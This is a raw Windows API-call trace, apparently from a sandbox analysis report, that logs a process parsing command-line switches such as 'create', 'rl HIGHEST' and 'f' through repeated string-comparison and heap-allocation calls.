2 [0073.732] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.733] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.733] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.733] lstrlenW (lpString="|f|") returned 3 [0073.733] lstrlenW (lpString="|rl|") returned 4 [0073.733] SetLastError (dwErrCode=0x490) [0073.733] lstrlenW (lpString="v1") returned 2 [0073.733] lstrlenW (lpString="v1") returned 2 [0073.733] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.733] lstrlenW (lpString="rl") returned 2 [0073.733] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.733] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|v1|") returned 4 [0073.733] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.733] lstrlenW (lpString="|v1|") returned 4 [0073.733] lstrlenW (lpString="|rl|") returned 4 [0073.733] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0073.733] SetLastError (dwErrCode=0x490) [0073.733] lstrlenW (lpString="xml") returned 3 [0073.733] lstrlenW (lpString="xml") returned 3 [0073.733] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.734] lstrlenW (lpString="rl") returned 2 [0073.734] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.734] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|xml|") returned 5 [0073.734] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.734] lstrlenW (lpString="|xml|") returned 5 [0073.734] lstrlenW (lpString="|rl|") returned 4 [0073.734] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0073.734] SetLastError (dwErrCode=0x490) [0073.734] lstrlenW (lpString="ec") returned 2 [0073.734] lstrlenW (lpString="ec") returned 2 [0073.734] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.734] lstrlenW (lpString="rl") returned 2 [0073.734] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.734] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|ec|") returned 4 [0073.734] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.734] lstrlenW (lpString="|ec|") returned 4 [0073.734] lstrlenW (lpString="|rl|") returned 4 [0073.734] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0073.734] SetLastError (dwErrCode=0x490) [0073.734] lstrlenW (lpString="rl") returned 2 [0073.734] lstrlenW (lpString="rl") returned 2 [0073.734] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.734] lstrlenW (lpString="rl") returned 2 [0073.734] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.735] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.735] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.735] lstrlenW (lpString="|rl|") returned 4 [0073.735] lstrlenW (lpString="|rl|") returned 4 [0073.735] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0073.735] SetLastError (dwErrCode=0x0) [0073.735] SetLastError (dwErrCode=0x0) [0073.735] lstrlenW (lpString="HIGHEST") returned 7 [0073.735] lstrlenW (lpString="-/") returned 2 [0073.735] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0073.735] SetLastError (dwErrCode=0x490) [0073.735] SetLastError (dwErrCode=0x490) [0073.735] SetLastError (dwErrCode=0x0) [0073.735] lstrlenW (lpString="HIGHEST") returned 7 [0073.735] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0073.735] SetLastError (dwErrCode=0x490) [0073.735] SetLastError (dwErrCode=0x0) [0073.735] _memicmp (_Buf1=0x11d6e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.735] lstrlenW (lpString="HIGHEST") returned 7 [0073.735] lstrlenW (lpString="HIGHEST") returned 7 [0073.735] lstrlenW (lpString=" \x09") returned 2 [0073.735] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0073.735] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0073.735] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0073.735] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0073.735] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0073.736] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0073.736] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0073.736] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0073.736] GetLastError () returned 0x0 [0073.736] lstrlenW (lpString="HIGHEST") returned 7 [0073.736] lstrlenW (lpString="HIGHEST") returned 7 [0073.736] SetLastError (dwErrCode=0x0) [0073.736] SetLastError (dwErrCode=0x0) [0073.736] lstrlenW (lpString="/f") returned 2 [0073.736] lstrlenW (lpString="-/") returned 2 [0073.736] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0073.736] lstrlenW (lpString="create") returned 6 [0073.736] lstrlenW (lpString="create") returned 6 [0073.736] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.736] lstrlenW (lpString="f") returned 1 [0073.736] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.736] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|create|") returned 8 [0073.736] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.736] lstrlenW (lpString="|create|") returned 8 [0073.736] lstrlenW (lpString="|f|") returned 3 [0073.736] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0073.736] SetLastError (dwErrCode=0x490) [0073.736] lstrlenW (lpString="?") returned 1 [0073.736] lstrlenW (lpString="?") returned 1 [0073.736] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.737] lstrlenW (lpString="f") returned 1 [0073.737] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.737] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|?|") returned 3 [0073.737] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.737] lstrlenW (lpString="|?|") returned 3 [0073.737] lstrlenW (lpString="|f|") returned 3 [0073.737] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0073.737] SetLastError (dwErrCode=0x490) [0073.737] lstrlenW (lpString="s") returned 1 [0073.737] lstrlenW (lpString="s") returned 1 [0073.737] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.737] lstrlenW (lpString="f") returned 1 [0073.737] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.737] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|s|") returned 3 [0073.737] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.737] lstrlenW (lpString="|s|") returned 3 [0073.737] lstrlenW (lpString="|f|") returned 3 [0073.737] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0073.737] SetLastError (dwErrCode=0x490) [0073.737] lstrlenW (lpString="u") returned 1 [0073.737] lstrlenW (lpString="u") returned 1 [0073.737] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.737] lstrlenW (lpString="f") returned 1 [0073.737] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.738] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|u|") returned 3 [0073.738] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.738] lstrlenW (lpString="|u|") returned 3 [0073.738] lstrlenW (lpString="|f|") returned 3 [0073.738] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0073.738] SetLastError (dwErrCode=0x490) [0073.738] lstrlenW (lpString="p") returned 1 [0073.738] lstrlenW (lpString="p") returned 1 [0073.738] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.738] lstrlenW (lpString="f") returned 1 [0073.738] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.738] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|p|") returned 3 [0073.738] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.738] lstrlenW (lpString="|p|") returned 3 [0073.738] lstrlenW (lpString="|f|") returned 3 [0073.738] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0073.738] SetLastError (dwErrCode=0x490) [0073.738] lstrlenW (lpString="ru") returned 2 [0073.738] lstrlenW (lpString="ru") returned 2 [0073.738] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.738] lstrlenW (lpString="f") returned 1 [0073.738] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.738] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|ru|") returned 4 [0073.738] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.739] lstrlenW (lpString="|ru|") returned 4 [0073.739] lstrlenW (lpString="|f|") returned 3 [0073.739] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0073.739] SetLastError (dwErrCode=0x490) [0073.739] lstrlenW (lpString="rp") returned 2 [0073.739] lstrlenW (lpString="rp") returned 2 [0073.739] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.739] lstrlenW (lpString="f") returned 1 [0073.739] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.739] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rp|") returned 4 [0073.739] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.739] lstrlenW (lpString="|rp|") returned 4 [0073.739] lstrlenW (lpString="|f|") returned 3 [0073.739] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0073.739] SetLastError (dwErrCode=0x490) [0073.739] lstrlenW (lpString="sc") returned 2 [0073.739] lstrlenW (lpString="sc") returned 2 [0073.739] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.739] lstrlenW (lpString="f") returned 1 [0073.739] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.739] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|sc|") returned 4 [0073.739] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.739] lstrlenW (lpString="|sc|") returned 4 [0073.740] lstrlenW (lpString="|f|") returned 3 [0073.740] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0073.740] SetLastError (dwErrCode=0x490) [0073.740] lstrlenW (lpString="mo") returned 2 [0073.740] lstrlenW (lpString="mo") returned 2 [0073.740] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.740] lstrlenW (lpString="f") returned 1 [0073.740] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.740] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|mo|") returned 4 [0073.740] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.740] lstrlenW (lpString="|mo|") returned 4 [0073.740] lstrlenW (lpString="|f|") returned 3 [0073.740] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0073.740] SetLastError (dwErrCode=0x490) [0073.740] lstrlenW (lpString="d") returned 1 [0073.740] lstrlenW (lpString="d") returned 1 [0073.740] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.740] lstrlenW (lpString="f") returned 1 [0073.740] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.740] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|d|") returned 3 [0073.740] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.740] lstrlenW (lpString="|d|") returned 3 [0073.740] lstrlenW (lpString="|f|") returned 3 [0073.740] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0073.740] SetLastError (dwErrCode=0x490) [0073.741] lstrlenW (lpString="m") returned 1 [0073.741] lstrlenW (lpString="m") returned 1 [0073.741] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.741] lstrlenW (lpString="f") returned 1 [0073.741] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.741] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|m|") returned 3 [0073.741] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.741] lstrlenW (lpString="|m|") returned 3 [0073.741] lstrlenW (lpString="|f|") returned 3 [0073.741] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0073.741] SetLastError (dwErrCode=0x490) [0073.741] lstrlenW (lpString="i") returned 1 [0073.741] lstrlenW (lpString="i") returned 1 [0073.741] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.741] lstrlenW (lpString="f") returned 1 [0073.741] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.741] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|i|") returned 3 [0073.741] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.741] lstrlenW (lpString="|i|") returned 3 [0073.741] lstrlenW (lpString="|f|") returned 3 [0073.741] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0073.741] SetLastError (dwErrCode=0x490) [0073.741] lstrlenW (lpString="tn") returned 2 [0073.741] lstrlenW (lpString="tn") returned 2 [0073.742] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.742] lstrlenW (lpString="f") returned 1 [0073.742] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.742] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tn|") returned 4 [0073.742] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.742] lstrlenW (lpString="|tn|") returned 4 [0073.742] lstrlenW (lpString="|f|") returned 3 [0073.742] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0073.742] SetLastError (dwErrCode=0x490) [0073.742] lstrlenW (lpString="tr") returned 2 [0073.742] lstrlenW (lpString="tr") returned 2 [0073.742] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.742] lstrlenW (lpString="f") returned 1 [0073.742] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.742] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tr|") returned 4 [0073.742] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.742] lstrlenW (lpString="|tr|") returned 4 [0073.742] lstrlenW (lpString="|f|") returned 3 [0073.742] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0073.742] SetLastError (dwErrCode=0x490) [0073.742] lstrlenW (lpString="st") returned 2 [0073.742] lstrlenW (lpString="st") returned 2 [0073.742] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.743] lstrlenW (lpString="f") returned 1 [0073.743] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.743] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|st|") returned 4 [0073.743] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.743] lstrlenW (lpString="|st|") returned 4 [0073.743] lstrlenW (lpString="|f|") returned 3 [0073.743] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0073.743] SetLastError (dwErrCode=0x490) [0073.743] lstrlenW (lpString="sd") returned 2 [0073.743] lstrlenW (lpString="sd") returned 2 [0073.743] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.743] lstrlenW (lpString="f") returned 1 [0073.743] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.743] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|sd|") returned 4 [0073.743] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.743] lstrlenW (lpString="|sd|") returned 4 [0073.743] lstrlenW (lpString="|f|") returned 3 [0073.743] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0073.743] SetLastError (dwErrCode=0x490) [0073.743] lstrlenW (lpString="ed") returned 2 [0073.743] lstrlenW (lpString="ed") returned 2 [0073.743] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.743] lstrlenW (lpString="f") returned 1 [0073.743] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.744] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|ed|") returned 4 [0073.744] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.744] lstrlenW (lpString="|ed|") returned 4 [0073.744] lstrlenW (lpString="|f|") returned 3 [0073.744] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0073.744] SetLastError (dwErrCode=0x490) [0073.744] lstrlenW (lpString="it") returned 2 [0073.744] lstrlenW (lpString="it") returned 2 [0073.744] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.744] lstrlenW (lpString="f") returned 1 [0073.744] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.744] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|it|") returned 4 [0073.744] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.744] lstrlenW (lpString="|it|") returned 4 [0073.744] lstrlenW (lpString="|f|") returned 3 [0073.744] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0073.744] SetLastError (dwErrCode=0x490) [0073.744] lstrlenW (lpString="et") returned 2 [0073.744] lstrlenW (lpString="et") returned 2 [0073.744] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.744] lstrlenW (lpString="f") returned 1 [0073.744] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.744] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|et|") returned 4 [0073.745] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.745] lstrlenW (lpString="|et|") returned 4 [0073.745] lstrlenW (lpString="|f|") returned 3 [0073.745] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0073.745] SetLastError (dwErrCode=0x490) [0073.745] lstrlenW (lpString="k") returned 1 [0073.745] lstrlenW (lpString="k") returned 1 [0073.745] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.745] lstrlenW (lpString="f") returned 1 [0073.745] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.745] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|k|") returned 3 [0073.745] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.745] lstrlenW (lpString="|k|") returned 3 [0073.745] lstrlenW (lpString="|f|") returned 3 [0073.745] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0073.745] SetLastError (dwErrCode=0x490) [0073.745] lstrlenW (lpString="du") returned 2 [0073.745] lstrlenW (lpString="du") returned 2 [0073.745] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.745] lstrlenW (lpString="f") returned 1 [0073.745] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.745] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|du|") returned 4 [0073.745] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.745] lstrlenW (lpString="|du|") returned 4 [0073.746] lstrlenW (lpString="|f|") returned 3 [0073.746] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0073.746] SetLastError (dwErrCode=0x490) [0073.746] lstrlenW (lpString="ri") returned 2 [0073.746] lstrlenW (lpString="ri") returned 2 [0073.746] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.746] lstrlenW (lpString="f") returned 1 [0073.746] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.746] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|ri|") returned 4 [0073.746] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.746] lstrlenW (lpString="|ri|") returned 4 [0073.746] lstrlenW (lpString="|f|") returned 3 [0073.746] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0073.746] SetLastError (dwErrCode=0x490) [0073.746] lstrlenW (lpString="z") returned 1 [0073.746] lstrlenW (lpString="z") returned 1 [0073.746] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.746] lstrlenW (lpString="f") returned 1 [0073.746] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.746] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|z|") returned 3 [0073.746] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.746] lstrlenW (lpString="|z|") returned 3 [0073.746] lstrlenW (lpString="|f|") returned 3 [0073.746] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0073.747] SetLastError (dwErrCode=0x490) [0073.747] lstrlenW (lpString="f") returned 1 [0073.747] lstrlenW (lpString="f") returned 1 [0073.747] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.747] lstrlenW (lpString="f") returned 1 [0073.747] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.747] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.747] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|f|") returned 3 [0073.747] lstrlenW (lpString="|f|") returned 3 [0073.747] lstrlenW (lpString="|f|") returned 3 [0073.747] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0073.747] SetLastError (dwErrCode=0x0) [0073.747] SetLastError (dwErrCode=0x0) [0073.747] GetProcessHeap () returned 0x100000 [0073.747] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11cf10 [0073.747] _memicmp (_Buf1=0x11bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.747] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x11d440, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0073.748] lstrlenW (lpString="LIMITED") returned 7 [0073.748] GetProcessHeap () returned 0x100000 [0073.748] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x10) returned 0x11d700 [0073.748] GetThreadLocale () returned 0x409 [0073.748] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0073.748] GetProcessHeap () returned 0x100000 [0073.748] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11cee0 [0073.748] _memicmp (_Buf1=0x11bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.748] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x11d440, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0073.748] lstrlenW (lpString="HIGHEST") returned 7 [0073.748] GetProcessHeap () returned 0x100000 [0073.748] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x10) returned 0x11d720 [0073.748] GetThreadLocale () returned 0x409 [0073.748] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0073.748] GetProcessHeap () returned 0x100000 [0073.748] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11ceb0 [0073.748] _memicmp (_Buf1=0x11bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 